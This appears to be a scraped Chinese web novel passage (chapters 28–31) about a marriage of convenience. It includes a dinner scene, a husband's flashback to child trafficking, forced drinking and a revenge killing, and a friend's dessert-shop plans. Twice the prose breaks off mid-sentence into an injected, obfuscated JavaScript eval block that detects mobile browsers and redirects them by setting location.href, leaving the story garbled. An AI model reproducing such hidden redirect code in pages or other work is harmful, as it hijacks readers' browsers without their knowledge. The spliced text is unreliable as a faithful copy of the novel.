沈婉仪对自己爹喝醉后的状态相当了解,若是不理他,他便会一直问到你答话为止。 为了不让她爹待会一直追问,她露出一个笑容来,“满意的。” 她这话刚说完,她就感觉自己身旁的人将视线放在了自己身上,她努力忽视掉这灼人的目光。 但喝醉后的沈尚书岂是这么好打发的,他见女儿露出笑颜,心下更是对自己决定感到十分自豪,不由脱口而出,“婉婉,你和青砚年岁都不小了,得抓紧时间再生个大胖小子啊!到时候儿女双全,岂不美哉?” 沈婉仪喝到一半的茶,在听到这句话后猛地呛到了嗓子眼里,她忍不住剧烈地咳嗽起来,在一连咳了好几声后,她的脸颊霎时也涨得通红。 也不知是羞的还是咳得狠了。 “阿婉,你没事吧?” 坐在她身旁的柳青砚闻声,几乎是下意识地倾身靠近,抬手替她顺着脊背,动作轻缓又带着几分不易察觉的慌乱。 听到同被点名的另一人的关切话语后,沈婉仪慌忙拿起帕子捂住唇,另一只手朝旁边摆了摆手。 她此时甚至不敢回过头去看柳青砚,她现在连耳尖都烧得滚烫,她怕他看清她脸上的窘迫。 柳青砚垂眸看着他的阿婉手忙脚乱的模样,原本宛若白玉的皮肤现在染上了绯意,泛红的耳垂实在是太过惹眼,他的喉结微不可察地滚了滚。 他强令自己将这微不足道的躁动压下去,继续手上的轻拍动作,低声叮嘱道,“阿婉,慢点喝,仔细呛着。” 咳了好一会儿,沈婉仪才慢慢平稳下来,她重新喝了一口茶,感觉自己脸上的温度稍微降了一点下来,她故作镇定道,“爹,我们才刚成亲,这种事急不得的。” 林氏知道自己女儿脸皮薄,轻瞪了自己的丈夫一眼,旋即又看向女儿和女婿,“别听你父亲乱说,他就是醉了,随口说的浑话,你们二人莫要放在心上。” “婉婉说的对,这种事都是顺其自然的,哪有说生就生的。” 柳青砚赞同地附和道,“儿女缘分本就讲究个水到渠成,强求不得,相信日后等时机成熟,缘分自然就来了。” “好,好,好,那为父日后可就等着你俩的好消息了!来人,再给我倒点酒来。” ...... 为了方便二人回家,沈国公府今日的晚膳特意安排得比以往提前了些,沈婉仪和柳青砚坐着马车回府时,夜色还未降临。 沈婉仪想着刚刚母亲说的话,向对面之人感谢道,“成亲那日多谢大人给我父母递了消息。” “应该的。”柳青砚刚刚陪着沈父喝了点酒,虽脸颊染了薄红,但视线依旧清明。 “不过大人怎么知晓萧世子指闹不起来的?莫非......” 莫非那永安王是柳青砚请来的不成? 沈婉仪怀疑地看向对面。 柳青砚见到这熟悉的视线,不由地轻笑起来,“阿婉冰雪聪明,定是猜到了。” 或许是因为喝了酒的缘故,他的嗓音比以往听起来更加低沉,望着她含笑的眼也比以往看起来更加水光盈盈。 沈婉仪被他用这样的眼神看着竟有些不习惯,于是干脆转过头掀开帘子去看外面的景色。 她转过去时,雪白纤细的脖颈一览无余。 柳青砚看着那一小段柔和细腻的弧线,肌肤莹润得好似羊脂白玉,视线往上移,几缕发丝掩映着耳垂,但却遮不住上面隐隐约约绯色。 好想吻上去。 他的喉结微不可查地滚了滚,眸色渐深。 29. 第 29 章 马车辘辘地向前走着。 “快到了。”沈婉仪看着外面的景色喃喃道,回过头来的时候发现柳青砚正闭着眼睛倚靠着车壁上。 她记得他酒量很好的,成婚那日喝了许多酒也不见醉,怎么今日不过喝了几杯,就醉倒了不成? “大人?大人?” 沈婉仪见他不应,心里莫名一紧。 她伸手过去轻轻推了推他的肩膀,哪知这一推非但没有叫人叫醒,柳青砚的身体反而斜斜地朝一旁倒去! 沈婉仪这下更是慌乱不已,下意识地往他倒下去的方向坐过去,还好她眼疾手快,赶在他摔下去之前接住了他。 这个动作让柳青砚不得已倚靠在了她的身上,他的脑袋正好靠在她的颈窝处。 温热的呼吸让沈婉仪颈窝处的皮肤起了一小片鸡皮疙瘩,但这同时也让她松了一口气。 还有呼吸,人应该没什么问题,应该只是睡着了。 在她看不见的背后,柳青砚的嘴角勾起了一个弧度。 他知晓她定不会长久保持这个动作,于是在她动手扶着他往车壁上靠的那刻,他适时地“醒”过来了。 “阿婉?” 沈婉仪没料到柳青砚会这么突然地醒过来,还偏偏是在她一手扶着他肩膀,一手托住他脑袋的时候。 他借着她掌心的支撑缓缓睁开眼,醉意未褪的眼神此刻蒙着层薄雾,本就莹润的眸子此刻盛着细碎水光,显得愈发潋滟动人。 她关切地轻声询问,“大人,你没事吧?”她这样说着,却不动声色地将自己的身体往后移动了些。 因为现在这个姿势实在是太近了些,也实在是太过......不妥了些。 她这样一只手扶着他,另一只手捧着他的脸的模样,若是被不清楚状况的人给看到,或许还会以为两人是在做什么亲密之举。 不过眼下这种情况也可以说就是亲密之举。 因为要扶着他,沈婉仪能挪动的距离实在有限,最后也只是让两人从抬首就可以相贴变成了隔着一尺的的距离。 她的这番小动作当然被柳青砚看在了眼底,他眼神迷离地望着她近在咫尺的眉眼,懵懂无措的模样仿佛还没有搞清楚状况。 但他心底却清明地想,阿婉真体贴,就算还不习惯他的接触,也依旧没有选择把他甩开。 如此心软的阿婉,会让他日后忍不住得寸进尺的,恶劣的想法就这样毫无预兆地钻了出来,柳青砚一边清醒地认知着这有多不对,却仍然控制不住地放任那些想法生根萌芽。 见他不应,沈婉仪又再问了一遍。 她这一问,让柳青砚的视线缓缓聚焦,慢慢“醒”了过来,他坐直了身体,脑袋也离开了她温暖的掌心。 他熟练地撒起了谎,“阿婉,不好意思,刚刚靠着靠着就睡着了。” 这也是不得已的办法。 若是没有闭上眼,刚刚那般情景若是再继续看下去,他也不知道自己会做出什么。 “无碍。”沈婉仪说着,掀开了车窗的车帘,示意他看外边,“快到了,大人回去可以好好歇息了。” 她刚说完不久,马车的速度便渐渐慢了下来,不多时,车门外便传来了芸香的声音,“夫人,公子,到了。” 两人下了马车,沈婉仪没看到女儿,问一旁的秋菊,“阿盈呢?” 今日是回门,梁盈不用陪着,沈婉仪便让兰黛陪着她留在柳府里。按照梁盈以往的习惯定是要一早跑出来迎接她的,现下没有看到人,她不由得有些不安。 “今日小姐做完功课之后,便由春桃和兰黛陪着玩了一整日,玩累了就去塌上躺着睡着了。” “现在是兰黛在小姐的屋子里陪着。夫人,可是要将小姐唤醒?” 听到女儿只是睡着了,沈婉仪心也安定下来,“不用了。小姐吃过晚膳了吗?” “下午的时候,小姐吃了些糕点,后来便一直睡到了现在,尚未吃晚膳。” 沈婉仪看了看天色,现下已经完全入夜,星子都已出来了。 “去让厨房做一碗虾仁粥。”沈婉仪说着,蓦地想起什么,回头看了看柳青砚,又转回头接着吩咐道,“再煮一壶醒酒汤。” “是,夫人。” 说完这些,门前站着的一行人先后进了门。 往后院走着,柳青砚忽地出声,“阿婉,我刚刚没醉,其实不用喝醒酒汤。” 沈婉仪温声开口,“大人喝了酒,喝点醒酒汤总归是对身体好的。” 她说完,后知后觉觉得自己有些多管闲事,抿了抿唇,又道,“不过,大人若是不想喝也不必勉强。” 柳青砚当然也看到了她脸上一闪而过的迟疑,立马答应下来,“那还是喝一些吧。” 阿婉好不容易关心他一次,就算他再讨厌醒酒汤,也不能浪费阿婉的好意才是。 * 柳青砚的酒量并不是天生的,他是被后天培养出来的。 更准确地说,是被训出来的。 他十三岁时被人卖到到鸣鸾阁,被迫跟着里面的人学“规矩”。 所谓“规矩”不过是鸣鸾阁里面伺候人的各种手段,其中就包括了练酒量这一条。 老鸨告诉他们,若是不会喝酒,那之后定然是伺候不了人的。 “你们现在这沾点酒就要醉倒的模样,以后怎么指望你们去伺候客人?怕不是客人兴头还没上来,你们倒是先醉倒了。” “若是运气好遇上豪放的,指定你来喝酒助兴,你连一壶酒都喝不下,这不是扫客人的兴吗?” “能来这里的客人都是不差钱的,你们喝的越多,客人买的酒就越多,若是你们不能喝,那还指望你们给鸣鸾阁赚什么钱?” 老鸨的话犹在耳畔,柳青砚想起那段时日,白日里学各种奇技.巧时还让吃饭,到了晚上便不让吃饭了,而是要喝酒。 最开始的时候每人的基本目标是一坛酒,鸣鸾阁里面的一坛酒是两斤。 一起训练的都是些七、八岁的小孩,柳青砚那时十三岁在里面都算年纪大的了,大家之前几乎都没怎么沾过酒的,常常连半坛酒没喝完便醉倒了。 但那些人哪会任你就那么躺在一遍睡着,每个人都会有专门的人盯着你,你醉了他就会来灌你醒酒汤,等你醒来了就继续喝酒,倒了又再继续灌醒酒汤。 如此循环往复,总归得把你自己的那坛酒喝完才行。 若是练到后面能够面不改色地喝完那坛酒了,不是可以停止喝酒了,而是每日需要喝的酒就更多了,变成了三坛。 等到喝完这些酒能从容应对的时候,那便算基本合格了。 柳青砚在里面呆了大半年,一共见过四个喝酒喝死了的孩子,大多都是小孩,有的甚至第一次喝酒的时候就呛死了,偏偏这个呛死的人恰巧是他在里面第一个主动与他搭话的孩子。 叫狗儿的。 他比他小,并不待在同一间屋子里训练,而且他那晚不过喝了两坛酒便醉倒了。 等到他被醒酒汤灌醒,听见旁边屋子死了一个叫“狗儿”的人的时候,他感觉整个大脑都清醒了。 他挣脱重重包围赶过去的时候,狗儿已经冰冷地躺在了地上,边上的人正冷漠地看着。 那时老鸨已经派人来清理尸体了,他却疯狂地拦着他们不让动,因为他第一眼就看到了狗儿口中和鼻腔残 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17021052|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留的呕吐物,他伸出手仔仔细细地帮他清理,仿佛这样他就能获得一线生机。 可是那时狗儿连身体都慢慢开始变硬了,哪还会有再次喘息的机会。 他最后只能眼睁睁地看着他们把尸体拖走了。 他不懂明明只要及时清理呕吐物就能挽回一条命的事,那些看管的人为何全都站着不动。 他被打了一顿后,给扔回了训练的屋子让继续喝酒,因为他今日的酒还没喝完。 柳青砚那时只觉得好笑,他们刚刚明明只要动动手就能挽救一条生命,可是他们都一动不动,可是在惩罚他们这些人身上他们却舍得花大量的力气和时间。 那时他就明白,在鸣鸾阁这些人的眼里“立规矩”远比救人性命更加重要,性命是相当不值钱的。 后来才知道,负责看管狗儿的那个人早就对他“不争气”的模样不耐烦了。 鸣鸾阁里面的规矩是看管之人初度后,即为看管者的主子,主子日后若是遇上贵人飞黄腾达,那这看管者也会跟着分一杯羹;主子若是不争气,那便也只能跟着倒霉了。 狗儿这般长相一般,规矩又学不好的“主子”便是被这些看管之人嫌弃的对象。 是以今日看管狗儿的王福在看见狗儿呛住了之后,一边嫌弃他没用的同时,一边起了歪心思。 若是主子不小心殒了命,鸣鸾阁可是会重新给看管之人指派一个新的主子。 于是王福便在发现狗儿呛住之后,特意姗姗来迟地赶过来,甚至连清理呕吐物的时候都没有用心,直到狗儿彻底咽了气,他才装模作样地去通知老鸨。 这些消息柳青砚是从那些孩子七嘴八舌里面拼凑出来的消息。 他那夜回了屋子之后喝了他人生中喝过最多的一次酒,他整整喝了五坛,喝了吐,吐了喝。 负责看管他的那个人在看着他把任务完成之后便撤退了。 刚开始他以为他能一醉方休,可是喝到最后却越来越清醒,直到狗儿那张青紫的脸在他脑海中一遍遍闪回,他越来越坐不住。 他知道王五的住处在鸣鸾阁的哪个方位。 后半夜,他去厨房偷了把刀摸去王五的房间,王五那时没有防备睡得很熟,柳青砚几乎是没有费多少力气就将他给杀了。 他下手又快又狠,手腕不曾抖过一下,刀刃很锋利,薄薄的刀片一划,王五的喉管瞬间就被割破。 一大股热血喷溅到他的脸上,柳青砚只轻轻眨了一下眼,眉眼间没有半分波澜。 他那时想,原来杀人这么容易,特别杀是熟睡中的人,比他小时候帮母亲杀鸡轻松多了。 鸡还会挣扎,熟睡中的人却不会。 柳青砚没有逃,他甚至都没有回自己的房间。 他杀完王五之后,忽然觉得轻松多了,刚刚喝了那么多酒积攒的困意顿时席卷而来,他贴着墙角顺势一靠,直接躺在地上睡着了。 被发现是再正常不过的事。 但令柳青砚没有想到的是,他第二日不但没有受罚,那老鸨只对他说了一句话后就让他回去接着学规矩。 她说,“你要知道,你能做的事不过是我允许你做的事。” 老鸨把所有负责看管的人都叫了过去,把王五的尸体扔在那群人面前,“给我看好了,所有人要是再给我起自己换主子的心思,这便是下场!” 柳青砚站在远处面无表情地看着这一切,知道自己做了别人的刀。 那日之后,他喝酒的任督二脉像是被打通了,每日都能一口气喝完那几坛酒,中间甚至都不用灌醒酒汤。 但只有他自己知道。 他有多讨厌喝酒,有多讨厌喝醒酒汤。 30. 第 30 章 回门之后,沈婉仪的婚后生活算是正式步入了正轨。 柳青砚得了她的嘱托,倒也没再派人在她眼前晃,每日他去上值后,沈婉仪就留在院子里面教女儿读书写字,该做的功课做完后,梁盈就拉着兰黛和春桃一起在府里面到处玩耍。 两人的生活倒是和原先在沈国公府的时候差不多,沈婉仪也乐得自在。 那日她与柳青砚在府门前谈论了私塾一事后,柳青砚的效率倒是出奇得快,不过几日时间就告诉她事情办妥了,等到这月下旬的时候,梁盈便可以和她的表哥表姐一起去私塾了。 江霁月过来找她的时候,恰巧碰到柳青砚说完此事离去,她行了礼表明来意。 柳青砚认出她是在成亲那日在最先想动手将萧延赶出去的人,现在看见她来找沈婉仪便知晓她应当是她的好友,微微颔首回应,“阿婉在后院,我让人带你过去。” “多谢大人。” 看着他转身离去的背影,江霁月想,算起来这还是她第一次与这人说上话,之前她只从婉婉的嘴里听到过此人的名字。 那日阿婉与他成亲时,她虽也在人群中观礼,但后来她父亲离席得早便将她一块给带走了,后面新郎敬酒时她们已经不在柳府了。 今日与此人打照面,只觉他身形样貌尚可,单单从外貌上看勉强能与她的闺蜜相配,就是不知道品性如何。 但刚刚她说了自己的身份后,他也未因为自己是小官之女的身份而轻看自己,目前看来,他还算礼貌。 江霁月迈进后院的时候,正看见沈婉仪坐在月桂树下与女儿说些什么,梁盈仰起小脸,双眸闪烁着兴奋的光芒。 “小梁盈,什么事笑得这么开心呀?” 梁盈听到熟悉的声音,立刻清脆地喊,“江姨!”紧接着便噔噔噔地跑过来了。 沈婉仪看着两人紧紧抱住的样子,眼里满是温柔的笑意,“霁月,你来啦,快来坐。” 江霁月将提着的食盒放下,抱着梁盈坐在大理石石凳上,她轻轻揉捏梁盈面团般柔软的小脸,接着刚刚的话题道,“来,快告诉江姨,你娘亲给你说什么让你笑的那么开心。” “你说了江姨就给你吃江姨新做的糖水哟。” 江霁月说着,还特意给梁盈指了指石桌上放着的食盒。 梁盈的视线牢牢锁定桌上的食盒,很想知道这次江姨又做了什么好吃的,于是她几乎是想也不想就诚实回答了江霁月的问题。 “娘亲告诉我,这个月下旬我就可以和阿瑶姐姐、连奚哥哥一起去私塾念书啦!” 梁盈说着,脑海中仿佛都已经出现了和许多小伙伴一起高兴玩耍的画面,声音都透着激动。 江霁月听到这个消息倒是一愣,“私塾?哪个私塾?” 沈婉仪解答到,“丞相大人府上的私塾。”她说着,还顺便解释了这件事的来龙去脉。 “......或许是看在师生一场的情分上,张相就同意了。” 江霁月拍了拍手,脑海中瞬间一激灵,“我想起来了,上次四姨娘让我爹去请的那个女先生,后来是不是就在这私塾教孩子呢?” “应该是了,名字和家世都对得上。” “那我今日回去又要给我爹和四姨娘暗中透露这个消息了。”江继月狡黠地笑了笑,“我记得我爹的妻子就是丞相夫人的远房亲戚,要是我爹知道他请不来的先生去了丞相家,他脸上的表情肯定很好看。” “不对,应该是这几个人脸上的表情都会相当好看,哈哈。” 看着她脸上的小表情,沈婉仪的嘴边也露出一抹笑意。 不过想到江霁月在江府里的境况,沈婉仪还是忍不住又拿出之前的提议,“要不我让我爹去给江大人施施压,让他和你娘亲和离吧。” 提到这个,江霁月收敛了脸上的笑意,正色起来,“现在还不是时候。” “我就快说服我娘了。现在只要我去努力挣银子,让她看到可以依靠我,到时候我们母女俩就可以从江府里面出来了。” “若是现在让娘亲和我爹和离,她定是不会同意的。” “再说,就算他们现在和离成功了,以我们母女的家底,要去租个屋子,还要日常,怕不是花个一两年就没有了。” 沈婉仪听到这儿望着江霁月,眼里含了些许无奈,不赞同道,“我不是与你说过吗,你可以住到我这里来。” 江霁月摆了摆手,婉拒了她的提议,“婉婉,我也给你说过呀,这不妥的。” “一来呢,就像我刚刚说的,在我没有赚到足够多的银子之前,我娘是不会跟着我出来的。” “二来呢,我自己是不喜欢那种朝不保夕的生活的。虽说我目前做出来的糕点都得到了你们的认可,但我也不确定我的生意究竟能不能做起来,要是之后无人问津,我娘和我岂不是都得喝西北风去了。” 江霁月说着看着沈婉仪嗔怪的眼神,“婉婉,你别这样看着我,我不想和娘亲一直麻烦你。毕竟现在谁也不知道未来这摊子支起来生意是好是坏,若是说暂住些时日那就罢了,若是之后住久了别说我娘了,我自己都不好意思。” 沈婉仪还想再说,江霁月却将她的话头给按住。 “况且你现在成了亲,我若是住进来,怕是也会让你们夫妻落人口舌。” 若是说前面的话,沈婉仪勉强还能被说服,听到这最后一句,她实在是有些按耐不住地提醒,“你不是知道的吗?我和他......” 并无夫妻之实。 梁盈在这里,沈婉仪特意把后面的半句话吞了,但是她知道江霁月能明白她在说什么。 她说完,江霁月捂着梁盈的耳朵把脑袋靠过来,压低声音,“知道啊,但是在外人眼里你们总归是夫妻啊。” 沈婉仪被噎了一下,一下忘记了回答。江霁月的话不是没有道理,就算她自己不介意,也总会有人在背后嚼舌根。 她忽然有些丧气,觉得自己没帮到好友什么。 江霁月见到她这番失落的模样,立刻转移话题,“别为这些小事感到烦心了,我今天可是来告诉你好消息的!” 见到她脸上的笑容,沈婉仪知道她的话不假,立马追问,“是什么好事?” 江霁月见她脸上满是好奇和探究,不再是垂头丧气的模样,知道自己目的已经达到,又重新恢复了一开始不正经的模样。 “唔,你猜猜看?” 沈婉仪想了想她刚刚说的那些话,又再看了看石桌上摆着的食盒。 “是不是和你要支的摊子有关?” 她话音刚落,江霁月的眼眸顿时流露出欣喜的光芒来。 沈婉仪知道自己猜中了,她又接着道,“你找好摊位了?” 江霁月放下梁盈,拉着沈婉仪的手摇了又摇,“啊啊啊,婉婉,你怎么知道,你简直住在我脑袋里了!” “在何处?” “在怀安街。” 沈婉仪依着记忆搜索了怀安街所处的位置,那里并不属于上京城的城中,离城中还隔着四五条街的距离。 但是那里四通八达,人流量大,无论是达官贵人还是平头百姓,皆是往来不绝,若是摊子支在此处倒是不愁无人来问。 “主要卖糕点吗?” “对,再配上我特意制作的一些饮品,我打算开一个甜品铺子。” 梁盈听到这里,插进话来,“江姨,什么饮品呀?” “比如......”江霁月说着,将放在石桌上的食盒慢慢打开,两碗莹润金黄、中间点缀着些许粉色类似甜浆的饮品被她端了出来。 江霁月的眉眼间尽是对自己手艺的自豪,她欣喜地介绍着,还配上起伏的语调,“当当当当~杨枝甘露。” 她说完把准备好的勺子递过去,“两位,来品尝一下吧。” 梁盈眼睛一亮,“谢谢江姨!” 沈婉仪则是略带无奈,“你怎么又给我们带了东西。” 江霁月故作严肃道,“我给我最好的朋友和她女儿带东西,怎么了?难道谁规定不能带了?” 她催促道,“哎呀,快吃嘛,我等着你们给我评价呢!” 她说完,将两只手臂支在石桌上撑着自己的脸颊,期待地看着沈婉仪母女。 梁盈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17036673|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐在一旁的空位上,接过勺子,一点也不客气开始品尝,她才吃第一口,就幸福地眯起了双眼,“江姨,这里面有什么,怎么这么好吃?这最上面的是柚子吗?” 梁盈随她娘亲自小便喜欢酸酸甜甜的东西,江霁月的这份杨枝甘露刚好踩中了她的喜好,她一吃便停不下来。 “是柚子,阿盈真聪明。” 沈婉仪这边也已经吃了第一口,江霁月显然更在意她的评价,忙追问她,“怎么样?怎么样?” “酸甜适中,清爽不腻,口感细腻,回味无穷。” 江霁月听得简直激动不已,“你这样说我就放心了。” 开玩笑,婉婉家好歹也是在上京官宦人家中排得上号的,见识过不少好东西,能得到婉婉的赞赏,这份杨枝甘露想来也能入其他达官贵人的眼。 只要有一半人喜欢,那她的预期就能达到了。 “婉婉你说,我这份卖20文一碗,会有人买吗?” “会。”沈婉仪说着,觉得不够严谨,又补上一句,“最起码我会。” “好,那你们再尝尝这个。”江霁月说着,又揭开食盒的第二层,端出两碗珍珠奶茶来。 她已经在上京城各个卖饮品的地方都观察了一遍,这上京城虽然有几个酒楼在卖奶茶,不过都是卖的纯奶茶,并没有加其他的东西。 她这加了灵魂珍珠的奶茶,定然还是能够站一份市场的。 “小厨房之前也煮过这个,但是没加这软软糯糯的东西,搭配着一起吃倒是也别有一番风味。” “软软糯糯的是珍珠。”江霁月贴心解释道。 “珍珠?” 沈婉仪和梁盈都同时疑惑地看着她,江霁月明白她们理解成了真正的珍珠,她又细细说到,“是用木薯做成的小丸子,木薯是我去找一些南洋商人手里买的。” 沈婉仪听了她的解释,提议道,“若是要售卖,可以直接叫木薯丸子,若是叫珍珠或许有人会误会。为着误解闹事的人并不多,但是能避开总是好事。” “好,我之后就叫它木薯丸子奶茶。” 沈婉仪手上也有许多铺子,她之前听手下的人汇报时,就有听到过有人因为这种事来闹事的,她也是从这件事中得出的经验。 她说完,闻着奶茶飘出来的清香,又问了一句,“这里面是加了茉莉吗?” 江霁月点点头,“是用茉莉花茶煮的。” “这个口味之前倒是没有喝过。” “对了,这个还有一个小料是芋泥,加在里面也很好吃。” 沈婉仪想了想,“是之前吃过你说用芋头做成的那种?” “对,我到时候把她们单独做成小料,没有小料的8文,加一份小料是2文。” “可行。” “最后是金桔柚子茶,你们尝尝。” 这个酸味就比前面两个要稍微重一些了,但也没有重太多,特别是尝了前头的再来喝这个,就感觉非常解腻了。 “和酸梅汤一样好喝!但是有桔子和柚子的果香味呢!”梁盈说着,一边不知不觉就把一小碗喝的差不多了。 “这个我定的是5文钱。” “倒也还好。虽比起其他的甜水铺子贵了一些,但寻常百姓倒是也买得起。” “可定好多久开业?” “下个月初八。对了,我特意在外面租了一个带厨房的小院子,到时候开业后,我把东西提前在厨房了做好,再一并拿到铺子上卖。” “若是我爹还有其他人问起我的去向,我就说我来找你玩,怎么样?” 下个月初八,那时候梁盈已经去私塾念书了,沈婉仪也很空闲,她说不定还能去江霁月的厨房帮上忙。 “好,我还可以帮你忙呢。” “那真是太好了!我正愁一个人效率太低了呢,婉婉,你这么聪明肯定一学就会!” 沈婉仪被她夸得有些不好意思,“也要试着做了才知道。” 江霁月这些年每次给她分享美食,沈婉仪品尝夸赞的同时,也会在心里疑惑是怎么制作的,她已不知不觉开始对这些美食的制作产生了好奇。 31. 第 31 章 梁盈去私塾之后,沈婉仪的日子也就愈发闲适起来。 柳青砚去上值时刚好要路过丞相府,于是梁盈去私塾时便顺道和他一起,回来时若是时辰合适,两人也能一道回来。 起先沈婉仪听到柳青砚的这个提议时她是拒绝的,因为安排马车接送梁盈去丞相府不过是一点小事,她不必为此特意劳烦他。 但柳青砚告诉她,“婉婉,正如你所说这不过是小事,倘若要是被有心人发现你特意绕过我独自安排马车送女儿去私塾,恐怕会疑心你我夫妻二人有嫌隙。” “不然如何在外人前解释你这般生分见外的举动?” 沈婉仪这段日子和他相处下来,已经大概摸清楚了他这些话的逻辑。 虽然他们这桩婚事是虚有其表,但在外人面前还是得把这“表”给维持好,任何能够破坏这“表面”的举动,柳青砚都不是很赞成。 沈婉仪本意是不想麻烦他,但他既然上赶着自己找“麻烦”,那她也就不用客气了,不然每次都要听他在自己耳边唠叨一番。 沈婉仪将这个结论告诉梁盈时,后者几乎是没有任何犹豫地便点头同意了。 因为梁盈对母亲是否要送自己去私塾这事并没有执念,应该说她对谁要送她去丞相府这件事本身就漠不关心,她只关心她能不能在丞相府里交到好朋友。 于是三人很快便达成了一致意见,柳青砚去上值时便把梁盈顺道送去丞相府,回来时方便就把她一起带回来。 若是哪日遇上事务繁多,便提前让人回来告知,让沈婉仪去将梁盈带回来。 其实按照柳青砚的说法,由他直接派马车去将人接回来即可,但沈婉仪仍是觉得不放心,梁盈毕竟还小,若是在半路出了什么事,她非得后悔一生。 于是柳青砚不能去接人时,她便亲自去将人带回来。 但接个人并不需要多少时间,这段日子梁盈去了私塾后,沈婉仪以往用来陪着她做读书认字的时间便空闲了出来,这刚好可以让她用来和江霁月学做糕点。 沈婉仪在学揉面时忽地就意识到,单从家世背景上来讲,柳青砚的条件还算符合她之前选人的要求。 她之前心里暗暗定下的条件之一,便是此人不能有复杂的家族关系,不然就算她能拿捏此人,也无法保证能拿捏他一大家子。 而如今虽阴差阳错选了柳青砚,但他却孑然一身,父母早逝,亲眷也无,整个府邸里面除了有个别人的耳目之外,并无其他需要格外注意的部分。 甚至连需要例行请安的人都没有。 沈婉仪少时祖母曾经告诉她,若是日后嫁了人,定要敬公婆,睦妯娌,做一个端庄贤淑的妇人。 可没想到她接连嫁的两人,家里都并无公婆需要孝敬,也无妯娌需要她去交好。 算起来,只有梁钺的祖母是沈婉仪作为儿媳用心侍奉过的,可那段时日不过也才维持了两年左右。 梁钺的父母和祖父都是武将,唯有他的祖母是农家女,但他祖母并未因此而感到自卑,而是加入了玄甲军的后方保障之中,随着自己的丈夫和子女四处奔波。 田氏的身子本就比不上习武之人,又加上常年地奔波劳累更是小病不断,好在这些年一直没有什么大问题。 但梁钺的祖父和父母所带领的那一支玄甲军被埋伏,无人生还的消息传来时,硬是将田氏本就没那么硬朗的身体给击倒了。 那时梁钺不过十四,又要忙着操办祖父和父母的丧事,还要腾出手来照顾生病的祖母,整日可谓是焦头烂额也不为过。 好在沈婉仪一家收到消息后特意过来帮忙,沈正年帮着梁钺操办丧事,林氏忙着料理梁府中的杂务,沈婉仪自己也是身着素衣帮忙照料着梁钺祖母,这才让梁钺挺过那段痛苦的日子。 但丧事过后,梁钺忙碌的程度并没有相差多少,他随了他父母进了玄甲军,守丧的日子有限,回京后待了不过三个月便又随军去边境了。 但他的祖母此时已经不能在像之前跟着他父母那样和他四处奔波了,那场病足足让她在塌上卧了好几个月,虽后面慢慢痊愈,但她也经不住折腾了。 梁钺能回上京的日子并不固定,回来时能待多久也并不确定,常常是军中有令便要立即召回,他留在府中陪伴祖母的日子并不多。 梁氏一脉子嗣单薄,梁钺的父母和祖父去世后,家中更是只有他和祖母相依为命,梁钺应召回营后,田氏就更显孤独了。 他每次不在京中时,沈婉仪便时常去梁府看望田氏。虽每次有她陪着时田氏脸上都会露出温柔又慈祥的笑意,但沈婉仪总感觉能透过那笑意看见她背后的落寞,特别是每次分别时她微笑着挥手的模样。 沈婉仪不喜欢看到田祖母一人又孤独等待的模样,为此,她特意说服了祖母将田氏接到沈国公府中与她作伴。 她将这个想法告诉田氏时,田氏起先并没有答应,她说自己留在梁府里就挺好的。 但沈婉仪看出她是不想给她们家再添麻烦,于是就一直扭着她撒娇,说是自己嫌麻烦不想跑,想要田祖母陪着她,她甚至还把自己的祖母搬了出来,说是她老人家也想要这老伙伴去陪着她。 田氏看穿了她的小心思,但却笑而不语,最后实在受不了她一直撒娇,便同意了。 沈婉仪的祖母并不随着祖父四处征战,她虽嫁了个将军,但她自己实则并不喜欢战场上的血雨腥风,再加上她的儿子和儿媳都留在上京,她留在此处也不怕没有人陪。 田氏刚到沈国公府时,沈婉仪还曾怕她与自己的祖母说不上话,虽然她们之前在两家聚会时都会见上一见,但距离两家上一次聚会已经是一年多前的事了。 但没想到,她担心的事情根本没有发生,田祖母与祖母见面后,两人之间仿佛打开了什么话匣子,每日都有聊不完的话。 田祖母与祖母讲在军营里面发生的那些趣事,祖母与她分享自己新读的哪本典籍诗书里面的故事。 沈婉仪去请安时,时常都能看见她们有说有笑的模样,她那时就无比庆幸自己做了这个决定。 梁钺回京时,田氏便会回到梁府与孙子团聚,但总归是聚少离多。但好在梁钺在军中的名声越来越响亮,他与沈婉仪成婚前,他已经是邺州的兵马使了。 虽官位也不算太高,但好在不用四处走动,事少时也可偶尔向上官申请回家省亲,他与祖母和沈婉仪也不用再向之前那样只能许久再见一面了。 沈婉仪与梁钺成婚后,田氏就又重新住回了梁府,那时她已是梁钺的妻子,可以作为儿媳名正言顺地侍奉祖母。 也是因为梁家并无其他长辈的缘故,沈婉仪在梁府时的大半时间她都选择陪伴在田氏的身旁。 或许是每次大夫来为祖母检查身体时,都是沈婉仪陪在田氏身旁,久而久之,上京城中也就传出了她贤惠的名声。 沈婉仪后来想起这回事时都觉得莫名,田祖母从小看着她长大,也算是她的半个亲人,她不过是做好自己分内之责,竟就能顶着一个“贤惠”的名声了。 这名声实在也来的也太过荒唐了些。 沈婉仪自认为跟那些人物传记里留下贤惠名声的儿媳相比,她自身是远远不够的。 况且她与梁钺成婚后,梁钺不在上京时,她也并没有一直留在府中守着祖母,那时梁家在邺州也有府邸,沈婉仪偶尔会特意去邺州与他相会,权当游山玩水。 虽然那都是禀明了祖母的事,但沈婉仪想若是被外面那批说她“贤惠”的人知道她出门留下了祖母一人在家,恐怕又会指责她这个儿媳不孝顺了。 